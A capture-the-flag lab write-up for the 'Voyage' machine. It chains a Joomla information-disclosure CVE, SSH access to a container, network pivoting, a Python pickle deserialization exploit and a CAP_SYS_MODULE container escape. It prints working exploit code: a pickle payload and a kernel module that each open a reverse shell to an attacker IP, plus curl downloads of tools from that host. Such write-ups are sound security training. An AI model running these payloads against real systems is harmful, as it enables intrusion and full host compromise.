Voyage

Chain multiple vulnerabilities to gain control of a system. - by 1337rce

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a rustscan and continue with an nmap default script and service scan, finding three open ports. Ports 22 and 2222, both running SSH.

On port 80, we have a web server running the Joomla CMS.

Joomla! - Open Source Content Management

We can't find anything manually or using directory scan. So we'll continue by taking a closer look at Joomla.

We use Joomscan for this purpose. Joomscan is an open source vulnerability scanner:

We run joomscan but do not find any vulnerabilities. But the version running: Joomla 4.2.7

joomscan -u http://voyage.thm

After some research, we also found a vulnerability related to this: CVE-2023-23752

CVE-2023-23752

This allowed an improper access check which allows an unauthorized access to webservice endpoints exposing sensitive information:

An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.

PoCs are also available for this purpose, which access the following endpoints. We could also try it manually.

/api/index.php/v1/users?public=true
/api/index.php/v1/config/application?public=true

We run the PoC...

... and are able to retrieve some credentials.

Shell as root on f5eb774507f2

They are not valid for the login on the web page.

Next, we try those on port 22 and 2222 and are successful on 2222. We are able to log in as root. We seem to be in a docker container. No flags yet, and a docker escape seems not to be applicable.

Shell as root on d221f7bc7bf8

Since we are inside a container, itโ€™s reasonable to assume that other containers or internal services may be accessible. By checking the /etc/hosts file, we identify the containerโ€™s internal IP address. From this, we can derive the subnet 192.186.100.0/24 and proceed to scan the internal network.

Internal Service Enumeration

Fortunately, Nmap is available on the machine, which is not usually the case. If nmap were not available, we could try put statically compiled version on the machine or use ligolo-ng. A setup for ligolo-ng is described as a bonus below, but it is not mandatory.

We scan the network 192.168.100.0/24 and find the host 192.168.100.12

nmap -sn 192.168.100.0/24

Unfortunatly, the service and script scan seems to fail on the victim machine.

nmap -sC -sV -p5000 192.168.100.12

We create an SSH tunnel with port forwarding using, which maps the remote service on 192.168.100.12:5000 to our local port 5000.

ssh -L 5000:192.168.100.12:5000 root@voyage.thm -p2222

We redo the the service and script scan and see a python webserver running on port 5000.

nmap -sC -sV -p5000 127.0.0.1

The index page reveals a login page.

Bonus Ligolo-ng Setup

For the subsequent phases, we can use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface called ligolo on our attacker machine and configuring routes to forward traffic for specific IP ranges (240.0.0.1, 192.168.100/24) through the tunnel.

sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.1 dev ligolo
sudo ip route add 192.168.100.0/24 dev ligolo

On our attack machine, we start the proxy server.

./proxy -selfcert

Next, we get the agent on the docker container and connect to our proxy.

curl http://10.14.90.235/agent -o agent
chmod +x agent
./agent -connect 10.14.90.235:11601 --ignore-cert

We get a message on our ligolo-ng proxy that an agent has joined. We use session to select the session and then start it.

We are now able to reach the machines on networks 192.168.100.0/24 and the machines services itself.

Access to Finance Panel

We reuse the credentials found through CVE-2023-23752, and are able to login.

There we see just an table of investments.

RCE via Insecure Deserialization

We inspect the cookies and find the session_data cookie which looks like serialized data.

80049525000000000000007d94288c0475736572948c04726f6f74948c07726576656e7565948c05383530303094752e

Since it is a python web server, it could be serialized pickle data. To confirm we write a small script to deserialize the data.

unpickle.py
#!/usr/bin/env python3
import sys, pickle, base64, binascii

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <cookie>")
    sys.exit(1)

cookie = sys.argv[1]

try:
    # Try hex decode first
    data = binascii.unhexlify(cookie)
except (binascii.Error, ValueError):
    # If not hex, try base64
    data = base64.b64decode(cookie)

obj = pickle.loads(data)
print(obj)

We run the script and provide the cookie data and see it gets properly deserialized.

Since we know, the data is serialized by pickle we can try to craft a malicious payload, that eventually gets deserizalized and exectued by the app.

Next, we creat a malicious Python pickle payload that, when deserialized, spawns a reverse shell to our IP 10.14.90.235 on port 4445. The __reduce__ method in our Exploit class ensures that unpickling executes subprocess.Popen with the reverse shell command.

exploit.py
#!/usr/bin/env python3
import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (subprocess.Popen, (["bash", "-c", "bash -i >& /dev/tcp/10.14.90.235/4445 0>&1"],))
payload = pickle.dumps(Exploit())
print(payload.hex())

We run the script and receive the serialized data for the reverse shell. Next, we set up a listener on our desired port 4445. Then we request the page using cURL providing the malicious session_data.

curl -H 'Cookie:session_data=80049559000000000000008c0a73756270726f63657373948c05506f70656e9493945d94288c0462617368948c022d63948c2a62617368202d69203e26202f6465762f7463702f31302e31342e39302e3233352f3434343520303e26319465859452942e' http://127.0.0.1:5000

The data gets deserialized and evaluated. We receive a connection back to our listener and are root on d221f7bc7bf8.

Next, we upgrade our shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo && fg

At /root/user.txt we find the first flag

Shell as root on tryhackme-2404

On d221f7bcf7bf8 we are still in a docker container, our voyage continues. Linpeas does only spot that /proc is mounted for a possible container escape.

curl http://10.14.90.235/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

We continue with deepce, a slightly older script. But still reliable. This reveals the set capabilities.

curl http://10.14.90.235/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

One of these is cap_sys_module. If this is set, it allows a docker escape as described several times in the following sources.

In short: Because the CAP_SYS_MODULE Linux capability allows a process (even inside a Docker container) to load or unload kernel modules, an attacker with container-level execution can insert a malicious module that executes code or launches a reverse shell on the host, effectively breaking out of the containerโ€™s isolation.โ€ฏ

We adapt the script with our IP and port for a reverse shell and provide the script and Makefile from the sources using a Python web server and transfer them to the machine.

rev.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");

static int start_shell(void) {
    char *argv[] = {
        "/bin/bash",
        "-c",
        "bash -i >& /dev/tcp/10.14.90.235/4445 0>&1",
        NULL
    };

    static char *env[] = {
        "HOME=/",
        "TERM=linux",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };

    return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}

static int init_mod(void) {
    return start_shell();
}

static void exit_mod(void) {
    return;
}

module_init(init_mod);
module_exit(exit_mod);

We adjust the Makefile because our test always used the incorrect version 6.8.0-1031-aws, which was not installed. We simply hardcode this.

Makefile
root@d221f7bc7bf8:/tmp/exp# cat Makefile 
obj-m += rev.o

KVER := 6.8.0-1030-aws
KDIR := /lib/modules/$(KVER)/build
PWD  := $(shell pwd)

all:
	make -C $(KDIR) M=$(PWD) modules

clean:
	make -C $(KDIR) M=$(PWD) clean

We transfer the files.

curl http://10.14.90.235/rev.c -o rev.c
curl http://10.14.90.235/Makefile -o Makefile

Then we compile the exploit.

make

Next, we trigger the exploit with the following:

insmod rev.ko

We receive a connection back and are root on d221f7bcf7bf8 and find the final flag at /root/root.txt.

Last updated

Was this helpful?